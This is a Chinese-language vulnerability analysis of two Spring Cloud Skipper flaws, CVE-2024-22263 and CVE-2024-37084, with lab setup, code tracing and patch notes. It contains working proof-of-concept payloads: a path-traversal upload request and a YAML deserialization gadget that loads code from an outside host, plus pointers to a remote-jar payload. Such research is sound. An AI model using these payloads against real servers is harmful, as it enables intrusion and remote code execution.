Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。SCDF中一个核心组件Spring Cloud Skipper负责处理应用程序的部署、升级和回滚等操作。该组件2.11.4版本以下存在任意文件写入漏洞(CVE-2024-22263)和代码执行漏洞(CVE-2024-37084)
源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2,下载的版本是2.11.2版本的
解压后修改src/docker-compose目录下的docker-compose.yml文件,添加调试语句,调试端口为6006
ports:
- "7577:7577"
- "6006:6006"
- ${APPS_PORT_RANGE:-20000-20195:20000-20195}
- JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:6006
修改完之后docker-compose up -d启动,启动之后访问http://127.0.0.1:7577/api 正常说明搭建成功
影响范围:2.10.0 - 2.11.2
Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。SCDF中一个核心组件Spring Cloud Skipper负责处理应用程序的部署、升级和回滚等操作。
在受影响版本中,Skipper Server在接收上传请求时对zip文件中的路径校验不严,具有 Skipper Server API 访问权限的攻击者可以通过上传请求将任意文件写入文件系统中的任意位置,从而获得服务器权限。
通过漏洞描述可以知道漏洞触发的地方是上传zip文件的过程中,由于没有过滤特殊字符导致可以通过../将任意文件写入到系统的任意位置
找到Skipper Server服务代码中文件上传的代码在org.springframework.cloud.skipper.server.controller.PackageController,访问接口/api/package/upload就可以调用到该方法
跟进到this.packageService.upload(),会先调用validateUploadRequest()对请求参数进行验证,主要验证参数有下面这几个
首先构造一个恶意的test.zip,压缩包中有一个test.txt文件,利用python脚本将zip文件转换成数组的形式,构造一个可以目录穿越的name参数
{"repoName":"local","name":"../../test","version":"1.1.1","extension":"zip","packageFileAsBytes":[80, 75, 3, 4, 10, 0, 0, 0, 0, 0, 92, 139, 251, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 116, 101, 115, 116, 46, 116, 120, 116, 80, 75, 1, 2, 31, 0, 10, 0, 0, 0, 0, 0, 92, 139, 251, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 116, 101, 115, 116, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 179, 196, 179, 31, 7, 224, 218, 1, 179, 196, 179, 31, 7, 224, 218, 1, 179, 196, 179, 31, 7, 224, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 90, 0, 0, 0, 38, 0, 0, 0, 0, 0]}
def zip_to_byte_list(zip_file_path):
with open(zip_file_path, 'rb') as file:
zip_data = file.read()
return [byte for byte in zip_data]
zip_file_path = 'test.zip'
zip_byte_list = zip_to_byte_list(zip_file_path)
print(zip_byte_list)
验证完参数后会返回到this.packageService.upload(),调用了getRepositoryToUpload(),参数是respName
在该方法下会验证repoName存储库是否存在,不存在的话会抛出一个异常
通过/api/repositories接口就可以查看系统所有的repository,可以看到会存在一个默认的local存储库,所以repoName参数的值就为local
在Assert.isTrue()处下断点调试
1、创建一个临时路径packageDirPath,将packageDirPath和name拼接起来,没有对name进行过滤,得到packageDir后,调用mkdidr()创建文件夹
2、创建一个packageFile,该文件路径表示压缩包的路径
3、获取packageFileAsBytes参数的内容写入到packageFile压缩包里
4、将压缩包解压到packageDir目录下
由于最后实际解压路径和目标解压路径不一致会导致断言失败,但是当执行到断点处时压缩包已经解压了,所以不会有影响。
首先新建一个test.txt文件直接压缩成test.zip,利用python脚本转换zip文件得到packageFileAsBytes
将生成的内容替换到packageFileAsBytes字段里,发送请求
进入docker容器/test目录下可以看到test.txt已经成功解压
在validateUploadRequest方法中利用getCanonicalPath()对路径做了规范化处理,替换了../和./
影响版本:2.11.0 - 2.11.3
Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。
受影响版本中,Skipper 服务器在处理文件上传时没有对路径进行适当的验证和清理,拥有 Skipper 服务器 API 访问权限攻击者可以通过构造恶意请求将 YAML 文件写入服务器的任意位置,同时由于 PackageMetadata 的创建过程中使用默认构造器反序列化 YAML 数据,从而导致任意代码执行。
这个漏洞实际上利用到的还是/api/package/upload这个接口,所以可以继续使用上面的漏洞环境,通过上面CVE-2024-22263这个漏洞的分析,可以知道当执行到Assert.isTrue()时由于实际解压路径和目标解压路径不一致会导致断言失败,直接跳转到最后的finally代码块
而CVE-2024-37084漏洞则是需要进入到下一行的this.packageReader.read()中,利用CVE-2024-22263的poc,将name参数修改成test,发现还是会断言失败
这是因为在断言时解压的路径为/tmp/skipperUpload177919539104885112/test,但是断言判断的路径为/tmp/skipperUpload177919539104885112/test/test-1.1.1,所以我们需要修改一下压缩包,新建一个test-1.1.1文件夹,将需要用到的恶意文件放到该文件夹下,再将test-1.1.1文件夹压缩
这样就可以进入到this.packageReader.read(),在该方法下会判断上传的文件中是否存在package.yaml或者package.yml文件,如果存在会进入到loadPackageMetadata()
在loadPackageMetadata中会调用yaml.load()反序列化package.yaml文件里的内容,所以就可以构造一个恶意的yaml文件
首先创建一个文件夹test-1.1.1,文件夹名字由name和version组成,在该文件夹下放入package.yaml文件,将文件中的dnslog换成自己的dnslog地址
apiVersion: 1.0.0
origin: my origin
repositoryId: 12345
repositoryName: local
kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a69ea028.log.dnslog.biz"]]]]
name: test1
version: 1.1.1
接着将test-1.1.1文件夹压缩成test-1.1.1.zip,利用python脚本得到packageFileAsBytes
发送请求之后就可以在dnslog中收到请求
如果想要执行命令的话,只需将dnslog地址替换成远程jar的地址,jar包的生成可以参考下面的github项目https://github.com/artsploit/yaml-payload
PackageMetadataSafeConstructor 是一个自定义的 Constructor 实现,它继承自 SnakeYAML 的 SafeConstructor,SafeConstructor 是一个更加安全的 YAML 解析器